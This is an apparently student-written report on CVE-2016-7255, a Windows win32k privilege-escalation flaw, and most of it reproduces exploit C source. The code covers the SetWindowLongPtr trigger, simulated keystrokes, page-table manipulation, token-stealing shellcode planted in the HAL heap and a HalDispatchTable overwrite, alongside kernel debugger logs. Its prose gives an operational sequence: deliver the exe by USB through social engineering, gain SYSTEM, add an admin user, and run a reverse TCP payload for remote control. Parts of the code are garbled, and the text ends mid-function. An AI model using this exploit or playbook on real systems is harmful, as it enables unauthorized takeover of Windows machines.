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### CVE 2016-7255 – Microsoft windows win32k Elevation of Privilege Vulnerability

This CVE 2016-7255 CVE ID mainly focus to the Microsoft windows win32 kernel Elevation of Privilege Vulnerability. This vulnerability directly connection with NtSetWindowsLongPtr () function and it can change the properties of the window in the Win32k.sys library. That win32k file is system file and it include the main systems in windows operating systems. This system file is multi-user win32 driver file. This file process is part of Microsoft windows and this file should not be deleted or remove and it affect to the windows systems then windows generated errors or stop the working and loading. Perhaps if this file deleted or remove the systems after that systems owner need to reinstall the operating systems. because this file cannot download in the website and this file induced in operating systems as the OS file.

This CVE 2016-7255 is mentioned the vulnerability of the win32k systems file and this systems file vulnerability affected serval modern operating systems. Such as windows 7, windows 8, windows 8.1 and windows 10.



### How to work & Process information

Firstly, Log in the desktop Operating systems in windows 7 and we can't access the admin account and in this time this exploit code run in the standard user level. After add the exploit code exe using pendrive using social engineering system.

Secondly run the cmd in standard user level and try to create another user using cmd in standard user. Then we received the access denied message. Because we can't create user in using standard user mode then we need to log in to the Admin mode. After run the exploit code using command prompt. Then that exploit code need to include the operating system version in this case we user windows 7 we can use this exploit code other operating systems such as windows 8, windows 8.1 and windows 10.

After run the exploit exe with adding the operating system version and then we can be see our windows version and kernel base address, HalDispatchTable, PID, Current User name and shellcode stored at information and after press the enter button begin the exploit. End of the exploitation we received the cmd command level and we need to make sure that enter in the adimn system privilege. Then we type whoami command and now we can see we can gain access in admin privilege and next try to add the new user in that operating system and using cmd create new user in admin privilege mode now we received the message command successfully then new user is created after run the TCP reverse payload including target user IP address and after executing payload, we can be access the admin level in remotely.

### **Exploit Code Explanation.**

This section is explaining the exploit code that use to exploit windows 7 using CVE 2016-7255.exe and this exe implemented by using CVE2016-7255.c file. that c file explains step by step below. Firstly, this vunarabelity be focused to the NtSetWindowsLongPtr() function and it can change the properties of window in the library of win32k.sys and this NtSetWindowsLongPtr() function include below structure.

```
LONG_PTR WINAPI SetWindowLongPtr(
   _In_ HWND hWnd,
   _In_ int nIndex,
   _In_ LONG_PTR dwNewLong
);
```

Google security published and said this vulnerability is triggered when wind32k.sys calls NtSetWindowsLongPtr() function through system call for GWLP\_ID and it is the index in the window handler where GWL\_STYLE is set to WS\_CHILD and that go into this form SetWindowLongPtr(hWndChild, GWLP\_ID, (LONG\_PTR) pId); and this NtSetWindowsLongPtr() function can use system calls in user mode and during this process, In user mode user can arbitrarily change the spmenu value of the target window and the spmenu value is a function called xxxNextWindow and it gets the spmenu value of the target window and this spmenu value uses as a pointer value of the object of tag menu.

If the argument value is VK\_MENU, 1 bit is set in the fFlags field of the tagMenu Object. fFlags field (tagMenu.fFlags = tagMenu.fFlags |0x4) - the address controlled by the attacker and attacker is controlled by the logically assigned value along with 0x4/ fFlags offset is 0x28 in kernel mode and user will use the value as a function argument without any check logic if user use the spmenu field as GWLP\_ID in NtSetWindowLongPtr and the style of the target window is WS\_CHILD. xxxNextWindow to set 1 bit and repeatedly call In the fFlags field in tagMenu Obj.

First important part function called or\_address\_value\_4().below picture include that code.

```
int or_address_value_4(__in void* pAddress)
```

The reason of this or\_address\_value\_4() function is important that the SetWindowLongPtr (hWndChild, GWLP\_ID,(LONG\_PTR)pId) and include about used in the above of report.

This function (or\_address\_value\_4()) include some parts and that parts mentioned below picture.

```
do
        stWC.cbSize = sizeof(stWC);
        stWC.lpfnWndProc = DefWindowProcW;
        stWC.lpszClassName = pszClassName;
        if ( 0 == RegisterClassExW(&stWC) )
            break:
        hWndParent = CreateWindowExW( // -> Create parent window
            pszClassName,
            NULL,
            WS OVERLAPPEDWINDOW|WS VISIBLE,
            Ο,
            0,
            360,
             360.
            NULL,
            NULL,
            GetModuleHandleW(NULL),
        if (NULL == hWndParent)
      if (NULL == hWndParent)
         break:
     hWndChild = CreateWindowExW( // -> Create child window
                                   // The handle of the child window obtained through CreateWindowExW is put in hwndChild,-
         //-which is used in the SetWindowLongPtr function below.
         pszClassName,
         pszTitleName.
         WS_OVERLAPPEDWINDOW|WS_VISIBLE|WS_CHILD,
         160,
         160.
         hWndParent,
         NULL.
         GetModuleHandleW(NULL),
         NIII.I.
      //That's the function in question
     SetWindowLongPtr(hWndChild , GWLP_ID , (LONG_PTR)pId ); // -> Set GWLP_ID to the 2nd argument value (trigger condition)
     //-> Insert the data obtained by subtracting the value according to the Windows version from the pAddress received -
      // -when executing the function in the argument value 3
                                                              // pId = ((UCHAR *) pAddress-0x28); // 0x28 when 64bit
                                                             // pId = ((UCHAR *) pAddress-0x14); // other than 0x14
```

In the above of report mentioned trigger part and Set it as GWLP\_ID and WS\_CHILD (child window) and this completes the first condition. Using sendinput the rest part seems to be the part for outputting debug information and the event occurrence and below picture include the debug log a bit.

```
kd> r
eax=ffffffeb ebx=93ad2c48 ecx=958229f0 edx=0000c035 esi=00000000 edi=958139c8
eip=94393f74 esp=89f4f9a0 ebp=89f4fa08 iopl=0 nv up ei ng nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000286
win32kfull!xxxNextWindow+0x257:
94393f74 83481404 or dword ptr [eax+14h],4 ds:0023:fffffffff=????????
```

After executing the code above an error occurs in xxNextWindow+0x257 in win32kfull and it will include the call to xxxNextWindow() function by modifying the window property with SetWindowLongPtr() function and calling the 4 key event related functions. In this xxxNextWindow() is called the attacker can modify one bit in the kernel address this can be called through the keyboard event. Following 4 key event functions defined and while loop is called repeatedly.

- sim\_key\_down
- \_sim\_key\_up
- \_sim\_alt\_shift\_esc
- \_sim\_alt\_shift\_tab

```
#include <wchar.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment(lib,"ntdll.lib")
#pragma comment(lib, "user32.lib")
#undef DbgPrint // This is a function for debugging.
ULONG __cdecl DbgPrintEx( IN ULONG ComponentId, IN ULONG Level, IN PCCH Format, IN ...);
ULONG __cdecl DbgPrint(__in char* Format, ...)
    CHAR* pszDbgBuff = NULL;
    va_list VaList=NULL;
    ULONG ulRet = 0;
        pszDbgBuff = (CHAR*)HeapAlloc(GetProcessHeap(), 0 ,1024 * sizeof(CHAR));
        if (NULL == pszDbgBuff)
             break:
        RtlZeroMemory(pszDbgBuff,1024 * sizeof(CHAR));
        va start(VaList,Format);
        vsnprintf((CHAR*)pszDbgBuff, 1024 - 1, Format, VaList);
        DbgPrintEx(77 , 0 , pszDbgBuff );
        OutputDebugStringA(pszDbgBuff);
        va_end(VaList);
    } while (FALSE);
```

```
int _sim_alt_shift_esc()
    int i = 0;
       _sim_key_down( VK_MENU ); // To set fFlags field in tagMenu object, pass VK_MENU as argument. _sim_key_down( VK_SHIFT );
       _sim_key_down( VK_ESCAPE);
_sim_key_up( VK_ESCAPE);
       _sim_key_down( VK_ESCAPE);
       _sim_key_up( VK_ESCAPE);
       _sim_key_up( VK_MENU );
_sim_key_up( VK_SHIFT );
    } while (FALSE);
    return 0;
int _sim_alt_shift_tab(int nCount)
    int i = 0;
    HWND hWnd = NULL;
   int nFinalRet = -1;
   do
   {
       _sim_key_down( VK_MENU ); // To set fFlags field in tagMenu object, pass VK_MENU as argument _sim_key_down( VK_SHIFT );
       for ( i = 0; i < nCount; i++)
            _sim_key_down( VK_TAB);
            _sim_key_up( VK_TAB);
            Sleep(1000);
       }
      _sim_key_up( VK_MENU );
       _sim_key_up( VK_SHIFT );
   } while (FALSE);
   return nFinalRet;
c or_address_value_4(__in void* pAddress)
  WNDCLASSEXW stWC = {0};
  HWND
          hWndParent = NULL;
  HWND
          hWndChild = NULL;
  WCHAR* pszClassName = L"cve-2016-7255";
 WCHAR* pszTitleName = L"cve-2016-7255";
 void* pId = NULL;
```

```
void* pid = NOLL;
MSG stMsg = {0};
MSG
do
    stWC.cbSize = sizeof(stWC);
stWC.lpfnWndProc = DefWindowProcW;
stWC.lpszClassName = pszClassName;
     if ( 0 == RegisterClassExW(&stWC) )
         break;
     hWndParent = CreateWindowExW( // Create parent window
         pszClassName,
         NULL.
         WS_OVERLAPPEDWINDOW|WS_VISIBLE,
         360,
          NULL,
          NULL.
         GetModuleHandleW(NULL),
         NULL
     if (NULL == hWndParent)
         break:
    hWndChild = CreateWindowExW( // Create child window
```

```
nwnquniiq = createwinqowExw( // create chiiq window
   pszClassName,
    pszTitleName,
    WS_OVERLAPPEDWINDOW|WS_VISIBLE|WS_CHILD,
    Ο,
   Ο,
    160,
    160,
    hWndParent,
    NULL,
    GetModuleHandleW (NULL),
    NULL
if (NULL == hWndChild)
    break:
#ifdef WIN64
   pId = ( (UCHAR*)pAddress - 0x28 ); // Subtract fFlags Offset by OS version> 0x28 based on 64-bit
#else
   pId = ( (UCHAR*)pAddress - 0x14);
#endif // #ifdef _WIN64
{\tt SetWindowLongPtr(hWndChild\ ,\ GWLP\_ID\ ,\ (LONG\_PTR)pId\ );\ //\ {\tt Vulnerability\ trigger\ 1}}
DbgPrint("hWndChild = 0x%p\n" , hWndChild);
DebugBreak();
ShowWindow(hWndParent , SW_SHOWNORMAL);
SetParent(hWndChild , GetDesktopWindow() );
SetForegroundWindow(hWndChild);
 sim alt shift tab(4); // Vulnerability Trigger 2
```

```
_sim_alt_shift_esc(); // Vulnerability Trigger 2
     while( GetMessage(&stMsg , NULL , 0 , 0) )
         TranslateMessage(&stMsg);
         DispatchMessage(&stMsg);
 } while (FALSE);
 if ( NULL != hWndParent )
     DestroyWindow(hWndParent);
     hWndParent = NULL;
 if ( NULL != hWndChild )
     DestroyWindow(hWndChild);
     hWndChild = NULL;
 UnregisterClassW(pszClassName , GetModuleHandleW(NULL) );
 return 0;
t cdecl wmain(int nArgc, WCHAR** Argv)
 do
    or_address_value_4( (void*)0xFFFFFFFF ); // Pass value to be set as argument
 } while (FALSE);
 return 0;
```

### After running this code below flows occurs.

```
hWndChild = 0x000A0402
Break instruction exception - code 80000003 (first chance)
001b:7557d352 cc
                                int
kd> .reload /f win32kbase.sys
kd> .reload /f win32kfull.sys
kd> .reload /f symhelp.sys
kd> .load jswd
kd> !js D:\root\WorkCode\jswd_script\syn\hwnd.js 0x000A0402
[hWnd] 0x000a0402 -> [pWnd] 0x958139c8
kd> dt win32kfull!tagWND spmenu 0x958139c8
  +0x078 spmenu : 0xffffffeb tagMENU
kd> ba r 4 0x958139c8+ 0x078
kd> g
Breakpoint 0 hit
win32kfull!xxxNextWindow+0x253:
                          test
94393f70 85c0
                                    eax,eax
kd> r
eax=ffffffeb ebx=93ad2c48 ecx=958229f0 edx=0000c035 esi=00000000 edi=958139c8
CS=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000202 win32kfull!xxxNextWindows0x250
win32kfull!xxxNextWindow+0x253:
94393f70 85c0
kd> t
win32kfull!xxxNextWindow+0x255:
94393f72 7404
                                   win32kfull!xxxNextWindow+0x25b (94393f78)
win32kfull!xxxNextWindow+0x257:
94393f74 83481404
                                   dword ptr [eax+14h],4
kd> r
eax=ffffffeb ebx=93ad2c48 ecx=958229f0 edx=0000c035 esi=00000000 edi=958139c8
eip=94393f74 esp=89f4f9a0 ebp=89f4fa08 iopl=0 nv up ei ng nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000286
win32kfull!xxxNextWindow+0x257:
94393f74 83481404
                          or
                                   dword ptr [eax+14h],4 ds:0023:fffffffff=????????
```

or\_address\_value\_4 ((void \*) 0xFFFFFFF); The 0xFFFFFFF, this value given as argument and it set and programed approach this value but it is modified memory, the value cannot be read and an error occurs.

In the report, include the how it works in above area. In the above routine can modify a part of the kernel address and after user can load desired code into memory and next step execute the shellcode by pointing to the memory. Following mentioned how attack code is released step by step.

- 1--- Flipping U/S bit in Self-Ref using vulnerability
- 2--- Using spurios entry Finding free PML4E
- 3--- Reading PTE of HAL's heap with spurios entry found
- 4--- Insert the shell code in user free zones HAL's heap using spurios entry
- 5----Next the NX through spurios entry of the PTE Turn off should overwrite the shellcode HalpApicInterruptController pointer.

This exploit code was used KASLR Timing attack of KASLR Timing attack's Memory Disclosure info. After execute the exploit code and gained Admin access privilege and next run the reverse TCP payload and after can be access the admin privilege in remotely. Below pictures include the exploit full code and reverse TCP payload code.

```
#include <wchar.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment(lib, "ntdll.lib"
#pragma comment(lib, "advapi32")
UINT64 PML4_BASE;
UINT PML4 SELF REF INDEX;
UINT64 PML4_SELF_REF = 0xFFFFF6FB7DBEDF68;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0x0000000LL)
#define GET_INDEX(va) ( ((va >> 39) & 0x1ff ))
edef struct SYSTI
PVOID Unknown1;
PVOID Unknown2;
PVOID Base;
                   _SYSTEM_MODULE_INFORMATION_ENTRY {
     ULONG Size;
ULONG Flags;
     USHORT Index:
     USHORT LoadCount;
     USHORT PathLength
              ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
```

```
typedef enum SYSTEM_INFORMATION_CLASS {
    SystemModuleInformation = 11,
    SystemHandleInformation = 16
 } SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS (WINAPI *NtQuerySystemInformation_t) (IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
                                                                        OUT PVOID
IN ULONG
                                                                                                            SystemInformation
                                                                                                            SystemInformationLength,
                                                                       OUT PULONG ReturnLength);
NtQuerySystemInformation_t NtQuerySystemInformation;
NtQueryIntervalProfile_t NtQueryIntervalProfile;
char shellcode[] = { // Shell code
      //0xcc,
                                                                                        // CLI
                                                                                        // PUSHFQ
// MOV RAX, Original Pointer
     0x48, 0xb8, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90,
                                                                                        // PUSH RAX
// PUSH RCX
     0x48, 0xb9, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90, 0x48, 0x89, 0x01, 0xb9, 0x90, 0x90, 0x90, 0x90,
                                                                                        // MOV RCX, [OverwriteAddr+OverwriteOffset]
                                                                                       // MOV QWORD PTR [RCX], RAX
// MOV ECX, PID
// PUSH RBX
      0x53,
                                                                                       // MOV
// MOV
// LEA
      0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x80, 0x90, 0x90, 0x00, 0x00,
                                                                                                    RAX,QWORD PTR gs:0x188
RAX,QWORD PTR [RAX+0xb8] EPROCESS
                                                                                                    RAX, [RAX+0xActiveProcessLinkOffset]
      //<tag>
      //<tag>
0x48, 0x8b, 0x00,
0x48, 0x8b, 0x58, 0xf8,
0x48, 0x83, 0xfb, 0x04,
                                                                                        // MOV
                                                                                                    RAX, QWORD PTR [RAX]
                                                                                       // MOV
// CMP
// JNE
// MOV
                                                                                                    RBX,QWORD PTR [RAX-0x8] // UniqueProcessID RBX,0x4
      0x75, 0xf3,
                                                                                                    <tag>
RBX, QWORD PTR [RAX+0x60] // GET TOKEN of SYSTEM
      0x48, 0x8b, 0x98, 0x90, 0x90, 0x90, 0x90,
     0x53,
                                                                                        // PUSH RBX
     //<tag2>
     0x48, 0x8b, 0x00,
0x48, 0x8b, 0x58, 0xf8,
                                                                                        // MOV
                                                                                                    RAX,QWORD PTR [RAX]
RBX,QWORD PTR [RAX-0x8] // UniqueProcessID
                                                                                       // MOV RBX, QWORD PTR [RAX-U
     0x39, 0xcb,
0x75, 0xf5,
                                                                                       // JNE <tag2>
// POP RBX
     0x5b.
     0x48, 0x89, 0x98, 0x90, 0x90, 0x90, 0x90,
                                                                                        // MOV
                                                                                                    QWORD PTR[RAX + 0x60], RBX
     0x5b, // POP RBX
    0x59, // POP RCX
0x59, // POP RCX
0x58, // POP RAX
0x9d, // POPFQ
    0xfb, // STI
0xff, 0xe0 // JMP RAX
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ULONG __cdecl DbgPrint(__in char* Format, ...) //Debug output
     CHAR* pszDbgBuff = NULL;
     va_list VaList = NULL;
ULONG ulRet = 0;
          pszDbgBuff = (CHAR*)HeapAlloc(GetProcessHeap(), 0, 1024 * sizeof(CHAR));
          if (NULL == pszDbgBuff)
          RtlZeroMemory(pszDbgBuff, 1024 * sizeof(CHAR));
          va_start(VaList, Format);
          _vsnprintf((CHAR*)pszDbgBuff, 1024 - 1, Format, VaList);
```

```
OutputDebugStringA(pszDbgBuII);
                va_end(VaList);
            } while (FALSE);
            if (NULL != pszDbgBuff)
                HeapFree(GetProcessHeap(), 0, pszDbgBuff);
                pszDbgBuff = NULL;
            return ulRet;
       int _sim_key_down(WORD wKey) // Functions to trigger xxxNextWindow ()
            INPUT stInput = { 0 };
                stInput.type = INPUT_KEYBOARD;
stInput.ki.wVk = wKey;
                stInput.ki.dwFlags = 0;
                 SendInput(1, &stInput, sizeof(stInput));
            } while (FALSE);
            return 0;
       int _sim_key_up(WORD wKey)
            INPUT stInput = { 0 };
         stInput.type = INPUT_KEYBOARD;
stInput.ki.wVk = wKey;
stInput.ki.dwFlags = KEYEVENTF_KEYUP;
         SendInput(1, &stInput, sizeof(stInput));
    } while (FALSE);
    return 0;
int _sim_alt_shift_esc()
    int i = 0;
         _sim_key_down(VK_MENU);
_sim_key_down(VK_SHIFT);
        _sim_key_down(VK_ESCAPE);
_sim_key_up(VK_ESCAPE);
        _sim_key_down(VK_ESCAPE);
_sim_key_up(VK_ESCAPE);
         _sim_key_up(VK_MENU);
_sim_key_up(VK_SHIFT);
    } while (FALSE);
    return 0;
```

```
int _sim_alt_shift_tab(int nCount)
}{
     int i = 0;
HWND hWnd = NULL;
     int nFinalRet = -1;
         _sim_key_down(VK_MENU);
_sim_key_down(VK_SHIFT);
         for (i = 0; i < nCount; i++)</pre>
             _sim_key_down(VK_TAB);
_sim_key_up(VK_TAB);
             Sleep(1000);
     _sim_key_up(VK_MENU);
_sim_key_up(VK_SHIFT);
} while (FALSE);
     return nFinalRet;
 int _sim_alt_esc(int count)
     int i = 0;
     for (i = 0; i<count; i++)</pre>
          sim key down(VK MENU);
         _sim_key_down(VK_MENU);
        //_sim_key_down(VK_SHIFT);
        _sim_key_down(VK_ESCAPE);
        _sim_key_up(VK_ESCAPE);
        _sim_key_down(VK_ESCAPE);
        _sim_key_up(VK_ESCAPE);
        sim key up(VK MENU);
        //_sim_key_up(VK_SHIFT);
   return 0;
.nt or_address_value_4(__in void* pAddress) // The section in question
   WNDCLASSEXW stWC = { 0 };
   HWND
           hWndParent = NULL;
   HWND
          hWndChild = NULL;
   WCHAR* pszClassName = L"cve-2016-7255";
   WCHAR* pszTitleName = L"cve-2016-7255";
   void* pId = NULL;
   MSG
           stMsg = \{ 0 \};
   UINT64 value = 0;
   do
```

```
stWC.cbSize = sizeof(stWC);
stWC.lpfnWndProc = DefWindowProcW;
stWC.lpszClassName = pszClassName;
       if (0 == RegisterClassExW(&stWC))
           break;
       hWndParent = CreateWindowExW( // Parent Generation
           pszClassName,
           NULL, WS_OVERLAPPEDWINDOW | WS_VISIBLE,
           NULL.
           GetModuleHandleW(NULL),
       if (NULL == hWndParent)
           break;
       \label{eq:main_problem} \texttt{hWndChild} \; = \; \texttt{CreateWindowExW()} \; \text{//Child generation}
           pszClassName,
           pszTitleName,
WS_OVERLAPPEDWINDOW | WS_VISIBLE | WS_CHILD,
              pszciassname.
              WS_OVERLAPPEDWINDOW | WS_VISIBLE | WS_CHILD,
              0,
160,
              hWndParent,
              NULL,
              GetModuleHandleW(NULL),
              NULL
         if (NULL == hWndChild)
              break;
#ifdef _WIN64
         pId = ((UCHAR*)pAddress - 0x28); // Adjust pId value according to OS bit
#else
pId = ((UCHAR*)pAddress - 0x14);
#endif // #ifdef _WIN64
         SetWindowLongPtr(hWndChild, GWLP_ID, (LONG_PTR)pId); // Weak function calls!
         DbgPrint("hWndChild = 0x%p\n", hWndChild); // Debug output
         ShowWindow(hWndParent, SW_SHOWNORMAL);
         SetParent(hWndChild, GetDesktopWindow());
         SetForegroundWindow(hWndChild);
         _sim_alt_shift_tab(4); // Use key_event API to call xxxNextWindow ()
         SwitchToThisWindow(hWndChild, TRUE);
```

```
SwitchToThisWindow(hWndChild, TRUE);
             _sim_alt_shift_esc(); // Use key_event API to call xxxNextWindow ()
             while (GetMessage(&stMsg, NULL, 0, 0)) {
                SetFocus (hWndParent);
                sim_alt_esc(20); // Use key_event API to call xxxNextWindow ()
SetFocus(hWndChild);
                _sim_alt_esc(20); // Use key_event API to call xxxNextWindow ()
                 TranslateMessage(&stMsg);
                DispatchMessage(&stMsg);
                 if (value != 0) {
                    break;
                 __try {
                    value = *(UINT64 *)PML4_SELF_REF;
                    if ((value & 0x67) == 0x67) {
   printf("Value Self Ref = %llx\n", value);
                        break;
                 __except (EXCEPTION_EXECUTE_HANDLER) {
                    continue;
          } while (FALSE);
          if (NULL != hWndParent)
         DestroyWindow(hWndParent);
      DestroyWindow(hWndParent);
   if (NULL != hWndChild)
      DestrovWindow(hWndChild);
   UnregisterClassW(pszClassName, GetModuleHandleW(NULL));
   return 0;
return result;
if ((*(PVOID *)pml4_search) == 0x0)
         // This is a NULL (free) entry
         break;
      offset += 8;
```

```
offset += 8;
           pml4_search = PML4_BASE + offset;
      return pml4_search;
JUINT64 calculate_spurious_pt_address(UINT64 spurious_offset) {
   UINT64 index = (spurious_offset & 0xFFF) / 0;
   UINT64 result = ((UINT64)0xFFFF << 40) |</pre>
            ((UINT64) PML4 SELF REF INDEX << 39) |
((UINT64) PML4 SELF REF INDEX << 30) |
((UINT64) PML4 SELF_REF_INDEX << 21) |
            (index << 12)
      return result;
UINT64 create_spurious_pte_to_virtual_address(UINT64 virtual_address, BOOL patch_original) { // Write data to virtual memory
      1: kd> !pte ffffffffffffd00000
      VA ffffffffffd00000
PXE at FFFFF6FB7DBEDFF8
      UINT64 pte = get_pxe_address(virtual_address);
      int pte_offset = pte & OxFFF;
//printf("PTE: %llx, %x\n", pte, pte_offset);
      UINT64 pde = get_pxe_address(pte);
int pde_offset = pde & OxFFF;
//printf("PDE: %llx, %x\n", pde, pde offset);
      UINT64 pdpte = get_pxe_address(pde);
      int pdpte = get_nat_auates(pac,
int pdpte offset = pdpte & 0xFFF;
//printf("PDFTE: %llx,%x\n", pdpte, pdpte_offset);
      UINT64 pml4e = get_pxe_address(pdpte);
      int pml4e_offset = pml4e & OxFFF;
//printf("PML4E: %llx\n", pml4e, pml4e_offset);
      UINT64 spurious_offset = look_free_entry_pml4();
      printf("[+] Selected spurious PML4E: %llx\n", spurious_offset);
UINT64 f_e_pml4 = spurious_offset;
      UINT64 spurious pt = calculate_spurious_pt_address(spurious_offset);
printf("[+] Spurious PT: %llx\n", spurious_pt);
      printf("--
      //Read the physical address of pml4e
      UINT64 pml4e_pfn = (UINT64)(*(PVOID *)pml4e);
      printf("[+] Content pml4e %llx: %llx\n", pml4e, pml4e pfn);
       // Change the PxE
      pml4e\_pfn = pml4e\_pfn \mid 0x67; // Set U/S
      Sleep(0x1); // Sleep for TLB refresh;
      //Read the physical address of pdpte
UINT64 pdpte_pfn = (UINT64) *(FVOID *) (spurious_pt + pdpte_offset);
printf("[+] Content pdpte %llx: %llx\n", pdpte, pdpte_pfn);
// Change the PxE
      pdpte_pfn = pdpte_pfn | 0x67; // Set U/S
      pagte_pin = pagte_pin | oxe(; // Set 0/S
printf("[+] Patching the Spurious Offset (PDPTE) %llx: %llx\n", spurious_offset, pdpte_pfn);
*((FVOID *)spurious_offset) = (FVOID)pdpte_pfn;
      Sleep(0x1); // Sleep for TLB refresh;
      //Read the physical address of pde
UINT64 pde_addr = spurious_pt + pde_offset;
UINT64 pde pfn = (UINT64) *(PVOID *)(spurious pt + pde offset);
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UINT64 pde_addr = spurious_pt + pde_offset;
    UINT64 pde pfn = (UINT64) *(FVOID *)(spurious pt + pde offset);
printf("[+] Content pdpe %llx: %llx\n", pde, pde_pfn);
     // Change the PxE
    pde_pfn = pde_pfn | 0x67; // Set U/S
    printf("[+] Patching the Spurious Offset (PDE) %llx: %llx\n", spurious_offset, pde_pfn);
*((PVOID *)spurious_offset) = (PVOID)pde_pfn;
     Sleep(0x1); // Sleep for TLB refresh;
     //Read the physical address of pte
    UINT64 pte addr = spurious_pt + pte_offset;
UINT64 pte_pfn = (UINT64) *(PVOID *)(spurious_pt + pte_offset);
printf("[+] Content pte %llx: %llx\n", pte, pte_pfn);
     // Change the PxE
     pte_pfn = pte_pfn | 0x67; // Set U/S
     pte_pfn = pte_pfn & 0x7fffffffffffffff; // Turn off NX
    if (patch original) {
   printf("*** Patching the original location to enable NX...\n");
          *(PVOID *)(spurious_pt + pte_offset) = (PVOID)pte_pfn;
    printf("[+] \ Patching \ the \ Spurious \ Offset \ (PTE) \ %llx: \ %llx\n", \ spurious \ offset, \ pte \ pfn);
    std Option the Spiritus offset = (PVOID)pte_pfn;
Sleep(0xl); // Sleep for TLB refresh;
printf("\n\n");
     return spurious pt;
UINT64 get_OverwriteAddress_pointer(UINT64 target_address, int target_offset) {
    printf("[*] Getting Overwrite pointer: %llx\n", target_address);
UINT64 OverwriteAddress = create_spurious_pte_to_virtual_address(target_address, FALSE);
    OverwriteAddress += (target address & OxFFF);
printf("OverwriteAddress: %llx\n", OverwriteAddress);
return (UINT64) *((PVOID *)(((char *)OverwriteAddress) + target_offset));
void overwrite TargetAddress(UINT64 hook address, UINT64 target address, int target_offset) { // one bit setting
   UINT64 OverwriteTarget = create spurious pte to virtual address(target address, FALSE)
      UINT64 target = (UINT64)((char *)OverwriteTarget) + target offset;
      printf("Patch OverwriteTarget: %llx with %llx\n", target, hook_address);
      *(PVOID *)target = (PVOID)hook_address;
UINT64 store_shellcode_in_hal(void) {
      //// Finally store the shellcode on the HAL
      UINT64 hal_heap_addr = 0xFFFFFFFFFD00000;
      UINT64 hal_heap = create_spurious_pte_to_virtual_address(hal_heap_addr, TRUE);
      printf("HAL address: %llx\n", hal_heap);
       ^{-} // 0xffffffffffd00d50 this is a good offset to store shellcode
      // 0xfff - 0xd50 = 0x2af space
      memcpy(((char *)hal_heap) + 0xd50, shellcode, sizeof(shellcode));
      return 0xffffffffffd00d50;
UINT64 GetHalDispatchTable() {
      PCHAR KernelImage;
      SIZE_T ReturnLength;
      HMODULE hNtD11 = NULL;
      UINT64 HalDispatchTable;
      HMODULE hKernelInUserMode = NULL;
      PVOID KernelBaseAddressInKernelMode;
      NTSTATUS NtStatus = STATUS UNSUCCESSFUL;
      PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
      hNtDll = LoadLibrary("ntdll.dll");
           printf("\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
           exit(EXIT_FAILURE);
      NtQuerySystemInformation = (NtQuerySystemInformation t)GetProcAddress(hNtDl1, "NtQuerySystemInformation")
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if (!NtQuerySysteminformation) {
   printf("\t\t\t\=] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError());
   exit(EXIT_FAILURE);
            {\tt NtStatus = NtQuerySystemInformation(SystemModuleInformation, \, {\tt NULL, \, \, 0}, \, \, {\tt \&ReturnLength)};}
            // Allocate the Heap chunk pSystemModuleInformation = (PSYSTEM MODULE INFORMATION)HeapAlloc(GetProcessHeap(),
                                                                                   HEAP ZERO MEMORY.
                                                                                   ReturnLength);
             if (!pSystemModuleInformation) {
                 printf("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
                 exit(EXIT_FAILURE);
             , NtStatus = NtQuerySystemInformation(SystemModuleInformation, pSystemModuleInformation,
                                                    ReturnLength,
&ReturnLength);
             if (NtStatus != STATUS_SUCCESS) {
                 printf("\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
                 exit(EXIT_FAILURE);
             KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;
             KernelImage = strrchr((PCHAR) (pSystemModuleInformation->Module[0].ImageName), '\\') + 1;
            printf("\t\t\t[+] Loaded Kernel: %s\n", KernelImage);
printf("\t\t\t[+] Kernel Base Address: 0x%p\n", KernelBaseAddressInKernelMode);
             hKernelInUserMode = LoadLibraryA(KernelImage);
             if (!hKernelInUserMode) {
                printf("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError());
                 exit(EXIT_FAILURE);
     // Inis is still in user mode
    HalDispatchTable = (UINT64)GetProcAddress(hKernelInUserMode, "HalDispatchTable");
    if (!HalDispatchTable) {
    printf("\t\t\t[-] Failed Resolving HalDispatchTable: 0x%X\n", GetLastError());
         exit(EXIT FAILURE);
    else {
         HalDispatchTable = (ULONGLONG) HalDispatchTable - (ULONGLONG) hKernelInUserMode;
         // Here we get the address of HapDispatchTable in Kernel mode
         HalDispatchTable = ((ULONGLONG)HalDispatchTable + (ULONGLONG)KernelBaseAddressInKernelMode);
         printf("\t\t[+] HalDispatchTable: 0x%llx\n", HalDispatchTable);
    HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation);
    if (hNtD11) {
         FreeLibrary(hNtDll);
    if (hKernelInUserMode) {
         FreeLibrary(hKernelInUserMode);
    hKernelInUserMode = NULL;
    pSystemModuleInformation = NULL;
    return HalDispatchTable;
int __cdecl main(int argc, char** argv)
    TCHAR pre_username[256];
    TCHAR post_username[256];
DWORD size = 256;
    ULONG Interval = 0;
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DWORD size = 256;
ULONG Interval = 0;
HMODULE hNtDl1 = NULL;
UINT retval;
UINT64 overwrite address:
int overwrite_offset;
// define operating system version specific variables
unsigned char sc_KPROCESS;
unsigned int sc_TOKEN;
unsigned int sc_APLINKS;
int osversion;
if (argc != 2) {
